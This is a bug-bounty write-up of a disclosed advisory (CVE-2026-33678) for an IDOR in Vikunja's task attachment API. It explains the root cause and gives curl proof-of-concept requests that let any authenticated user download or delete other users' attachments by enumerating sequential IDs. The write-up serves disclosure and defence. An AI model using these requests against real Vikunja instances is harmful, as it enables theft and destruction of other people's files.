# Vikjuna: IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion

Vikunja's TaskAttachment.ReadOne loads attachments by ID only, letting any authenticated user download or delete any attachment system-wide via their own task ID.

- Payout: Research
- Severity: high
- Program: Vikunja
- Found by: offset
- Disclosed: 2026-03-25
- CVE: CVE-2026-33678
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jfmm-mjcp-8wq2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jfmm-mjcp-8wq2
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:idor

**Target:** Task attachment REST endpoint /api/v1/tasks/:task/attachments/:attachment
**Root cause:** ReadOne queries attachments with `WHERE id = ?` only, ignoring the URL task ID, while CanRead/CanDelete authorize against the URL task rather than the attachment's actual task.
**Steps:**
1. Attacker creates own project (id=10) and task (id=50) via `PUT /api/v1/projects` and `PUT /api/v1/projects/10/tasks`.
2. Victim uploads attachment to their task via `PUT /api/v1/tasks/1/attachments` with `-F 'files=@secret-document.pdf'`, receiving attachment id=5.
3. Attacker GETs `http://localhost:3456/api/v1/tasks/50/attachments/5` with their token; CanRead passes on task 50, ReadOne loads attachment 5 from victim's task.
4. Attacker DELETEs `http://localhost:3456/api/v1/tasks/50/attachments/5`; CanDelete passes on task 50, Delete calls ReadOne and removes victim's attachment.
5. Enumerate sequential attachment IDs 1,2,3,... to harvest or delete all attachments.
**How found:** Code review of the ReadOne query versus the CanRead permission check revealed the ID-only WHERE clause; the same pattern was previously fixed for task comments via getTaskCommentSimple adding `AND task_id = ?`.
**Exploitation:** Any authenticated user with read access to any task supplies their own task ID in the path plus a target attachment ID; the permission check validates the URL task while the loader fetches the attachment by ID alone, returning or deleting files from unrelated projects.
**Escalation:** Sequential autoincrement attachment IDs allow full-system enumeration of all attachments without prior knowledge of target IDs.
**Insight:** When a model binds both parent and child IDs from URL params, verify the loader's WHERE includes the parent key; compare sibling models (comments vs attachments) for inconsistent fixes of the same pattern.

## Proof of concept (copied exactly from the original report)

**Attacker downloads victim's attachment via own task ID**

```
curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
  -H 'Authorization: Bearer <attacker_token>' \
  -o stolen-file.pdf
# Returns: victim's secret-document.pdf
```

**Attacker deletes victim's attachment via own task ID**

```
curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
  -H 'Authorization: Bearer <attacker_token>'
# Returns: 200 OK — victim's attachment is deleted
```

**Victim uploads confidential attachment to their task**

```
curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \
  -H 'Authorization: Bearer <victim_token>' \
  -F 'files=@secret-document.pdf'
# Returns attachment with id: 5
```

